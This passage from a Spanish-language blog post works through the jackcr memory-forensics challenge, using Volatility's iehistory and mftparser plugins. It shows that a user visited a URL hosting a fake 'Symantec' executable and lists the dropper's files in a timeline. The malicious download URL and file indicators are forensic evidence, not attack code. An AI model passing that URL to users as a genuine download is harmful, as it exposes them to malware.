http-equiv=3DContent-Type>
<META name=3DGENERATOR content=3D"MSHTML 8.00.6001.18702">
[…]

Mediante el plugin iehistory (también nuevo en esta versión 2.3 de Volatility) se pudo confirmar que el usuario pinchó en el enlace:

mbelda@audit:~/Forensics/jackcr-challenge$ python ~/volatility/vol.py --profile=WinXPSP3x86 -f 
  ENG-USTXHOU-148/memdump.bin iehistory

Volatile Systems Volatility Framework 2.3_alpha
**************************************************
Process: 284 explorer.exe
Cache type "URL " at 0x2895000
Record length: 0x100
Location: Visited: callb@http://58.64.132.8/download/Symantec-1.43-1.exe
Last modified: 2012-11-26 23:01:53 
Last accessed: 2012-11-26 23:01:53 
File Offset: 0x100, Data Offset: 0x0, Data Length: 0xa8

Pero no sería sino gracias al timeline creado por el plugin mftparser que se puede confirmar que no sólo se pinchó en el enlace sino que se descargó el fichero, se ejecutó y así fue comprometido inicialmente el sistema.

mbelda@audit:~/Forensics/jackcr-challenge$ cat ENG-USTXHOU-148/body_mactime.txt
[…]
Mon Nov 26 2012 23:01:54      472 mac. --------------- 0  0  10117    Documents and Settings\
                                                                       callb\Local Settings\Temp
                              352 macb ---a-------I--- 0  0  11721    System Volume Information\
                                                                       _restore{68B1E438-DDF2-48EE-
                                                                       BFAF-9C59BEF8C439}\RP26\
                                                                       A0008032.sys
                              504 macb ---a-------I--- 0  0  11722    WINDOWS\Prefetch\
                                                                       SYMANTEC-1.43-1[2].
                                                                       EXE-3793B625.pf
                              504 macb ---a-------I--- 0  0  11722    WINDOWS\Prefetch\SYMANT~1.PF
                              584 mac. --------------- 0  0  3420     WINDOWS\system32\CatRoot2
                              824 .a.. --------------- 0  0  3432     WINDOWS\system32\CatRoot2\
                                                                       {F750E~1
                              344 mac. ---a----------- 0  0  6996     WINDOWS\system32\CatRoot2\
                                                                       tmp.edb
                              352 .a.. ---a----------- 0  0  8499     WINDOWS\system32\CatRoot2\
                                                                       edb00095.log
                              344 .ac. -h------------- 0  0  8610     WINDOWS\system32\6to4ex.dll
                              336 mac. ---a----------- 0  0  8611     WINDOWS\system32\CatRoot2\
                                                                       edb.log
                              472 mac. -----------I--- 0  0  8823     System Volume Information\
                                                                       _restore{68B1E438-DDF2-48EE-
                                                                       BFAF-9C59BEF8C439}\RP26
Mon Nov 26 2012 23:01:55      352 m.c. ---a-----c----- 0  0  10219    WINDOWS\system32\dllcache\
                                                                       beep.sys
                              344 mac. ---a----------- 0  0  206      WINDOWS\system32\drivers\
                                                                       beep.sys
                              416 .a.. ---a----------- 0  0  3438     WINDOWS\system32\CatRoot2\
                                                                       {F750E6C3-38EE-11D1-85E5-
                                                                       00C04FC295EE}\TIMEST~1
                              416 .a.. ---a----------- 0  0  3439     WINDOWS\system32\CatRoot\
                                                                       {F750E6C3-38EE-11D1-85E5-
                                                                       00C04FC295EE}\TIMEST~1
                              576 .a.. -h------------- 0  0  45       WINDOWS\inf
                              344 mac. ---a----------- 0  0  7161     WINDOWS\system32\wbem\Logs\
                                                                       wbemess.log
                              352 .a.. ---a----------- 0  0  8071     WINDOWS\inf\syssetup.inf
                              568 ..c. -hs--------I--- 0  0  8835     Documents and Settings\callb\
                                                                       IETLDC~1
                              344 m.c. -hsa-------I--- 0  0  8836     Documents and Settings\callb\
                                                                       IETldCache\index.dat
                              344 .a.. --s------------ 0  0  9481     WINDOWS\system32\config\
                                                                       systemprofile\Application Data\
                                                                       Microsoft\SystemCertificates\My\
                                                                       CTLs
                              344 .a.. --s------------ 0  0  9482     WINDOWS\system32\config\
                                                                       systemprofile\Application Data\
                                                                       Microsoft\SystemCertificates\My\
                                                                       CRLs
                              472 .a.. --s------------ 0  0  9483     WINDOWS\system32\config\
                                                                       systemprofile\Application Data\
                                                                       Microsoft\SystemCertificates\
                                                                       My\CERTIF~1
Mon Nov 26 2012 23:01:56      352 macb ---a-------I--- 0  0  10216    System Volume Information\
                                                                       _restore{68B1E438-DDF2-48EE-
                                                                       BFAF-9C59BEF8C439}\RP26\
                                                                       A0008033.PNF
                              360 mac. ---a----------- 0  0  3355     WINDOWS\inf\syssetup.PNF
Mon Nov 26 2012 23:01:59      352 .ac. ---a-----c----- 0  0  10219    WINDOWS\system32\dllcache\
                                                                       beep.sys
                              352 macb ---a-------I--- 0  0  11705    System Volume Information\
                                                                       _restore{68B1E438-DDF2-
                                                                       48EE-BFAF-9C59BEF8C439}\
                                                                       RP26\A0008034.sys
                              936 mac. rhs------c----- 0  0  71       WINDOWS\system32\dllcache
Mon Nov 26 2012 23:02:07      352 .a.. ---a----------- 0  0  23813    WINDOWS\system32\racpldlg.dll
Mon Nov 26 2012 23:03:10      472 macb --------------- 0  0  7556     WINDOWS\webui
Mon Nov 26 2012 23:03:21      488 macb ---a-------I--- 0  0  11706    WINDOWS\Prefetch\
                                                                       IPCONFIG.EXE-2395F30B.pf
                              488 macb ---a-------I--- 0  0  11706    WINDOWS\Prefetch\IPCONF~1.PF
                              352 .a.. ---a----------- 0  0  24145    WINDOWS\system32\ipconfig.exe
Mon Nov 26 2012 23:03:55      376 mac. ---a----------- 0  0  3436     WINDOWS\system32\CatRoot2\
                                                                       {F750E6C3-38EE-11D1-85E5-
                                                                       00C04FC295EE}\catdb
Mon Nov 26 2012 23:04:14      352 .a.. ---a----------- 0  0  23351    WINDOWS\system32\drivers\
                                                                       fastfat.sys
Mon Nov 26 2012 23:04:24      336 mac. ---a----------- 0  0  9790     WINDOWS\system32\CatRoot2\
                                                                       edb.chk
Mon Nov 26 2012 23:06:34      504 macb ---a----------- 0  0  11710    WINDOWS\ps.exe
                              472 m.c. --------------- 0  0  28       WINDOWS
Mon Nov 26 2012 23:06:35      504 m.c. ---a----------- 0  0  11710    WINDOWS\ps.exe
Mon Nov 26 2012 23:06:47      416 macb ---a----------- 0  0  11719    WINDOWS\webui\gs.exe
Mon Nov 26 2012 23:06:48      416 mac. ---a----------- 0  0  11719    WINDOWS\webui\gs.exe
Mon Nov 26 2012 23:06:52      440 macb ---a----------- 0  0  11723    WINDOWS\webui\ra.exe
Mon Nov 26 2012 23:06:56      344 macb ---a----------- 0  0  11724    WINDOWS\webui\sl.exe
Mon Nov 26 2012 23:06:59      368 macb ---a----------- 0  0  11725    WINDOWS\webui\wc.exe
                              288 m... ---a----------- 0  0  11739    WINDOWS\system32\wc.exe
Mon Nov 26 2012 23:07:31      352 .a.. --------------- 0  0  11470    WINDOWS\system32\iertutil.dll
                              344 .a.. ---a----------- 0  0  11498    WINDOWS\system32\urlmon.dll
                              344 .a.. ---a----------- 0  0  11502    WINDOWS\system32\wininet.dll
                              488 mac. ---a-------I--- 0  0  11706    WINDOWS\Prefetch\IPCONF~1.PF
                              352 macb ---a----------- 0  0  11726    WINDOWS\webui\netuse.dll
[...]

Los otros ficheros resaltados son lo que crea el Dropper al ejecutarse y es así como se compromete el equipo. Si alguien quiere ver el informe final del reto, en el siguiente enlace pueden consultar el que ha subido Bryan Nolen (@BryanNolen) en la página de Volatility.

@Jackcr Forensics Challenge

Buen fin de semana a todos.